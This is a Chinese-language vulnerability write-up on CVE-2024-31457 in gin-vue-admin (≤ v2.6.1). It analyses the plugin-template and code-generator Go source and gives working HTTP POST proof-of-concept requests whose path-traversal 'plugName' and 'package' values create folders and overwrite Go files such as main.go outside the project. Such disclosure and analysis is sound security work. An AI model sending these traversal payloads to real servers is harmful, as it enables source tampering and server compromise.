Contents

gin-vue-admin底层任意代码覆盖CVE-2024-31457

0x01 框架描述

gin-vue-admin是基于vite+vue3+gin搭建的开发基础平台(支持TS,JS混用),集成jwt鉴权,权限管理,动态路由,显隐可控组件,分页封装,多点登录拦截,资源权限,上传下载,代码生成器,表单生成器,chatGPT自动查表等开发必备功能,目前大概19.8k stars。

0x02 环境部署

为了方便各类工具的使用等,golang的环境直接采用了g管理工具管理与安装 /CVE-2024-31457/1.png

0x03 CVE:CVE-2024-31457

权限要求:X-Token配置代码生成权限

gin-vue-admin<=v2.6.1后台任意代码覆盖漏洞,在插件系统->插件模板功能中,攻击者可通过操控plugName参数进行目录穿越,并在指定穿越目录下创建指定文件夹api、config、global、model、router、service以及main.go主函数,并且文件夹中的go文件可根据特别的Poc参数自由插入代码。

受影响代码:https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239

先来看AutoCodeApi 结构体的方法 AutoPlug

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
	var a system.AutoPlugReq
	err := c.ShouldBindJSON(&a)
	if err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	a.Snake = strings.ToLower(a.PlugName)
	a.NeedModel = a.HasRequest || a.HasResponse
	err = autoCodeService.CreatePlug(a)
	if err != nil {
		global.GVA_LOG.Error("预览失败!", zap.Error(err))
		response.FailWithMessage("预览失败", c)
		return
	}
	response.Ok(c)
}
  • var a system.AutoPlugReq:声明一个system.AutoPlugReq类型的变量a
  • err := c.ShouldBindJSON(&a):c.ShouldBindJSON,Gin框架特有的方法,将JSON解析绑定指定的结构体上,这边是绑定在a变量上,如果解析过程中报错则赋值给err变量
    • response.FailWithMessage(err.Error(), c)gin-vue-admin框架的统一报错处理
  • a.Snake = strings.ToLower(a.PlugName):将 a.PlugName 字段的值转换为小写,并赋值给 a.Snake 字段。strings.ToLower 是 Go 语言中的字符串函数,用于将字符串转换为小写形式
  • a.NeedModel = a.HasRequest || a.HasResponse:判断AutoPlugReq结构体中的HasRequest与HasResponse,这里的主要作用是判断在插件模板中是否使用Request与使用Response
  • 最后,将变量a作为传参,接下来就是func (autoCodeService *AutoCodeService) CreatePlug(plug system.AutoPlugReq) error,CreatePlug方法部分

其中https://pkg.go.dev/github.com/flipped-aurora/gin-vue-admin/server/model/system#AutoPlugReq结构体定义了我们可操控的参数,在实际覆盖代码攻击或配合其它利用链的时候,可根据该结构体构造代码,而结构体中PlugName的可控是导致该漏洞存在的主要原因

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
type AutoPlugReq struct {
	PlugName    string         `json:"plugName"` // 必然大写开头
	Snake       string         `json:"snake"`    // 后端自动转为 snake
	RouterGroup string         `json:"routerGroup"`
	HasGlobal   bool           `json:"hasGlobal"`
	HasRequest  bool           `json:"hasRequest"`
	HasResponse bool           `json:"hasResponse"`
	NeedModel   bool           `json:"needModel"`
	Global      []AutoPlugInfo `json:"global,omitempty"`
	Request     []AutoPlugInfo `json:"request,omitempty"`
	Response    []AutoPlugInfo `json:"response,omitempty"`
}

根据a.Snake = strings.ToLower(a.PlugName)->err = autoCodeService.CreatePlug(a),最后传给https://github.com/flipped-aurora/gin-vue-admin/blob/0c141cc6f74b42593fda6077dd86b24fd89463c0/server/service/system/sys_auto_code.go:719 CreatePlug方法进行创建模板

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func (autoCodeService *AutoCodeService) CreatePlug(plug system.AutoPlugReq) error {
	// 检查列表参数是否有效
	plug.CheckList()
	tplFileList, _ := autoCodeService.GetAllTplFile(plugPath, nil)
	for _, tpl := range tplFileList {
		temp, err := template.ParseFiles(tpl)
		if err != nil {
			zap.L().Error("parse err", zap.String("tpl", tpl), zap.Error(err))
			return err
		}
		pathArr := strings.SplitAfter(tpl, "/")
		if strings.Index(pathArr[2], "tpl") < 0 {
			dirPath := filepath.Join(global.GVA_CONFIG.AutoCode.Root, global.GVA_CONFIG.AutoCode.Server, fmt.Sprintf(global.GVA_CONFIG.AutoCode.SPlug, plug.Snake+"/"+pathArr[2]))
			os.MkdirAll(dirPath, 0755)
		}
		file := filepath.Join(global.GVA_CONFIG.AutoCode.Root, global.GVA_CONFIG.AutoCode.Server, fmt.Sprintf(global.GVA_CONFIG.AutoCode.SPlug, plug.Snake+"/"+tpl[len(plugPath):len(tpl)-4]))
		f, err := os.OpenFile(file, os.O_WRONLY|os.O_CREATE, 0666)
		if err != nil {
			zap.L().Error("open file", zap.String("tpl", tpl), zap.Error(err), zap.Any("plug", plug))
			return err
		}
		defer f.Close()

		err = temp.Execute(f, plug)
		if err != nil {
			zap.L().Error("exec err", zap.String("tpl", tpl), zap.Error(err), zap.Any("plug", plug))
			return err
		}
	}
	return nil
}
  • plug.CheckList():调用CheckList()方法列表参数中的Global、Request 和 Response 字段,并且在CheckList方法中适用bing函数遍历传入的列表参数 req 中的每个元素 info。对于每个元素,调用 Effective 方法进行有效性检查

漏洞复现:任意代码覆盖/代码污染

如目录穿越到gin-vue-admin/server目录下创建api、config、global、model、router、service即可污染源始代码与main.go,如覆盖/污染 C:\代码审计\server目录下的go源码 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 326
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../server/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

/CVE-2024-31457/2.png 查看main.go函数,成功根据我们的请求与global中的key值写入到代码中,造成代码覆盖与代码污染危害,后续可通过沟通特定的POC污染api、config、global、model、router、service中的go文件达到配置覆盖、命令执行等危害 /CVE-2024-31457/3.png 污染config.go文件 /CVE-2024-31457/4.png 目录如下:

/CVE-2024-31457/5.png

文件污染

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /api/autoCode/createPlug HTTP/1.1
Host: 192.168.31.18:8080
Content-Length: 335
Accept: application/json, text/plain, */*
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Origin: http://192.168.31.18:8080
Referer: http://192.168.31.18:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU
Connection: close

{"plugName":"../../../../server_code_RCE/","routerGroup":"111"	,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]}

/CVE-2024-31457/6.png 如POC如下:server_code_rce被成功创建在C盘根目录下,攻击者可通过构造特殊与特定的POC对服务器其它的go代码,其它文件目录进行代码污染。

/CVE-2024-31457/7.png

0x03 gin-vue-admin<= v2.6.1底层任何代码写入02-漏洞描述

权限要求:普通权限即可 gin-vue-admin<=v2.6.1后台任意代码写入漏洞,Gin-vue-admin后台提供代码生成器功能,方便自动化生成代码,由于代码逻辑并没有对目录穿越漏洞进行限制,如strings.Index(fileName, "..") > -1 ,导致攻击者可以通过目录穿越漏洞,在服务器任意位置生成指定名称文件夹,并可以在文件夹中生成指定名称的Go代码以及Go代码内容。

受影响代码:https://github.com/flipped-aurora/gin-vue-admin/blob/main/server/service/system/sys_auto_code.go:257,在sys_auto_code.go代码中定义了CreateTemp方法,如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
func (autoCodeService *AutoCodeService) CreateTemp(autoCode system.AutoCodeStruct, ids ...uint) (err error) {
	makeDictTypes(&autoCode)
	for i := range autoCode.Fields {
		if autoCode.Fields[i].FieldType == "time.Time" {
			autoCode.HasTimer = true
			if autoCode.Fields[i].FieldSearchType != "" {
				autoCode.HasSearchTimer = true
			}
		}
		if autoCode.Fields[i].Sort {
			autoCode.NeedSort = true
		}
		if autoCode.Fields[i].FieldType == "picture" {
			autoCode.HasPic = true
		}
		if autoCode.Fields[i].FieldType == "video" {
			autoCode.HasPic = true
		}
		if autoCode.Fields[i].FieldType == "richtext" {
			autoCode.HasRichText = true
		}
		if autoCode.Fields[i].FieldType == "pictures" {
			autoCode.NeedJSON = true
			autoCode.HasPic = true
		}
		if autoCode.Fields[i].FieldType == "file" {
			autoCode.NeedJSON = true
			autoCode.HasFile = true
		}
		if autoCode.GvaModel {
			autoCode.PrimaryField = &system.Field{
				FieldName:    "ID",
				FieldType:    "uint",
				FieldDesc:    "ID",
				FieldJson:    "ID",
				DataTypeLong: "20",
				Comment:      "主键ID",
				ColumnName:   "id",
			}
		}
		if !autoCode.GvaModel && autoCode.PrimaryField == nil && autoCode.Fields[i].PrimaryKey {
			autoCode.PrimaryField = autoCode.Fields[i]
		}
	}
	// 增加判断: 重复创建struct
	if autoCode.AutoMoveFile && AutoCodeHistoryServiceApp.Repeat(autoCode.BusinessDB, autoCode.StructName, autoCode.Package) {
		return RepeatErr
	}
	dataList, fileList, needMkdir, err := autoCodeService.getNeedList(&autoCode)
	if err != nil {
		return err
	}
	meta, _ := json.Marshal(autoCode)

	// 增加判断:Package不为空
	if autoCode.Package == "" {
		return errors.New("Package为空\n")
	}

	// 写入文件前,先创建文件夹
	if err = utils.CreateDir(needMkdir...); err != nil {
		return err
	}

	// 生成文件
	for _, value := range dataList {
		f, err := os.OpenFile(value.autoCodePath, os.O_CREATE|os.O_WRONLY, 0o755)
		if err != nil {
			return err
		}
		if err = value.template.Execute(f, autoCode); err != nil {
			return err
		}
		_ = f.Close()
	}

	defer func() { // 移除中间文件
		if err := os.RemoveAll(autoPath); err != nil {
			return
		}
	}()
	bf := strings.Builder{}
	idBf := strings.Builder{}
	injectionCodeMeta := strings.Builder{}
	for _, id := range ids {
		idBf.WriteString(strconv.Itoa(int(id)))
		idBf.WriteString(";")
	}
	if autoCode.AutoMoveFile { // 判断是否需要自动转移
		Init(autoCode.Package)
		for index := range dataList {
			autoCodeService.addAutoMoveFile(&dataList[index])
		}
		// 判断目标文件是否都可以移动
		for _, value := range dataList {
			if utils.FileExist(value.autoMoveFilePath) {
				return errors.New(fmt.Sprintf("目标文件已存在:%s\n", value.autoMoveFilePath))
			}
		}
		for _, value := range dataList { // 移动文件
			if err := utils.FileMove(value.autoCodePath, value.autoMoveFilePath); err != nil {
				return err
			}
		}

		{
			// 在gorm.go 注入 自动迁移
			path := filepath.Join(global.GVA_CONFIG.AutoCode.Root,
				global.GVA_CONFIG.AutoCode.Server, global.GVA_CONFIG.AutoCode.SInitialize, "gorm.go")
			varDB := utils.MaheHump(autoCode.BusinessDB)
			ast2.AddRegisterTablesAst(path, "RegisterTables", autoCode.Package, varDB, autoCode.BusinessDB, autoCode.StructName)
		}

		{
			// router.go 注入 自动迁移
			path := filepath.Join(global.GVA_CONFIG.AutoCode.Root,
				global.GVA_CONFIG.AutoCode.Server, global.GVA_CONFIG.AutoCode.SInitialize, "router.go")
			ast2.AddRouterCode(path, "Routers", autoCode.Package, autoCode.StructName)
		}
		// 给各个enter进行注入
		err = injectionCode(autoCode.StructName, &injectionCodeMeta)
		if err != nil {
			return
		}
		// 保存生成信息
		for _, data := range dataList {
			if len(data.autoMoveFilePath) != 0 {
				bf.WriteString(data.autoMoveFilePath)
				bf.WriteString(";")
			}
		}
	} else { // 打包
		if err = utils.ZipFiles("./ginvueadmin.zip", fileList, ".", "."); err != nil {
			return err
		}
	}
	if autoCode.AutoMoveFile || autoCode.AutoCreateApiToSql {
		if autoCode.TableName != "" {
			err = AutoCodeHistoryServiceApp.CreateAutoCodeHistory(
				string(meta),
				autoCode.StructName,
				autoCode.Description,
				bf.String(),
				injectionCodeMeta.String(),
				autoCode.TableName,
				idBf.String(),
				autoCode.Package,
				autoCode.BusinessDB,
			)
		} else {
			err = AutoCodeHistoryServiceApp.CreateAutoCodeHistory(
				string(meta),
				autoCode.StructName,
				autoCode.Description,
				bf.String(),
				injectionCodeMeta.String(),
				autoCode.StructName,
				idBf.String(),
				autoCode.Package,
				autoCode.BusinessDB,
			)
		}
	}
	if err != nil {
		return err
	}
	if autoCode.AutoMoveFile {
		return system.ErrAutoMove
	}
	return nil
}
  • makeDictTypes(&autoCode):调用makeDictTypes函数,为autoCode结构体中的字段设置字典类型
  • 遍历autoCode.Fields中的每个字段:
    • 如果字段类型为"time.Time",则将autoCode.HasTimer设置为true,如果FieldSearchType不为空,则将autoCode.HasSearchTimer设置为true。
    • 如果字段设置了Sort属性,将autoCode.NeedSort设置为true。
    • ………
  • dataList, fileList, needMkdir, err := autoCodeService.getNeedList(&autoCode):调用了autoCodeService结构体的getNeedList方法,并传入了autoCode作为参数
  • if err = utils.CreateDir(needMkdir...); err != nil {return err}:生成写入文件前,先创建文件夹
  • 而目录穿越的漏洞点则在CreateDir方法:if err := os.MkdirAll(v, os.ModePerm)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
func CreateDir(dirs ...string) (err error) {
	for _, v := range dirs {
		exist, err := PathExists(v)
		if err != nil {
			return err
		}
		if !exist {
			global.GVA_LOG.Debug("create directory" + v)
			if err := os.MkdirAll(v, os.ModePerm); err != nil {
				global.GVA_LOG.Error("create directory"+v, zap.Any(" error:", err))
				return err
			}
		}
	}
	return err
}

漏洞复现:

如目录穿越到C盘根目录下RCE文件夹,以及main.go代码文件 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /api/autoCode/createTemp HTTP/1.1
Host: 192.168.31.14:8080
Content-Length: 500
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-user-id: 1
Content-Type: application/json
Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZTAzNzQyNjMtMmUwOS00MmMyLTgwNDctYmRiOWI3NDgxYjU4IiwiSUQiOjMsIlVzZXJuYW1lIjoiZ2diMTIzIiwiTmlja05hbWUiOiJnZ2IiLCJBdXRob3JpdHlJZCI6OTUyOCwiQnVmZmVyVGltZSI6ODY0MDAsImlzcyI6InFtUGx1cyIsImF1ZCI6WyJHVkEiXSwiZXhwIjoxNzEyMjg5MDIwLCJuYmYiOjE3MTE2ODQyMjB9.xb7zoTrDxVLuLENI8UHqeR7QLxt58eI5ccXF6zIBjcI
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Connection: close

{"structName":"985","tableName":"","packageName":"985","package":"../../../../RCE","abbreviation":"985","description":"","businessDB":"","autoCreateApiToSql":true,"autoMoveFile":true,"gvaModel":true,"autoCreateResource":false,"fields":[{"fieldName":"","fieldDesc":"","fieldType":"","dataType":"","fieldJson":"","columnName":"","dataTypeLong":"","comment":"","require":false,"sort":false,"errorText":"","primaryKey":false,"clearable":true,"fieldSearchType":"","dictType":""}],"humpPackageName":"main"}

/CVE-2024-31457/8.png

  • package:为目录穿越路径
  • humpPackageName:为生成go代码文件文件名

RCE目录被成功创建在C盘根目录下,攻击者可通过构造特殊与特定的POC对服务器其它的go代码,其它文件目录进行代码污染。

/CVE-2024-31457/9.png /CVE-2024-31457/10.png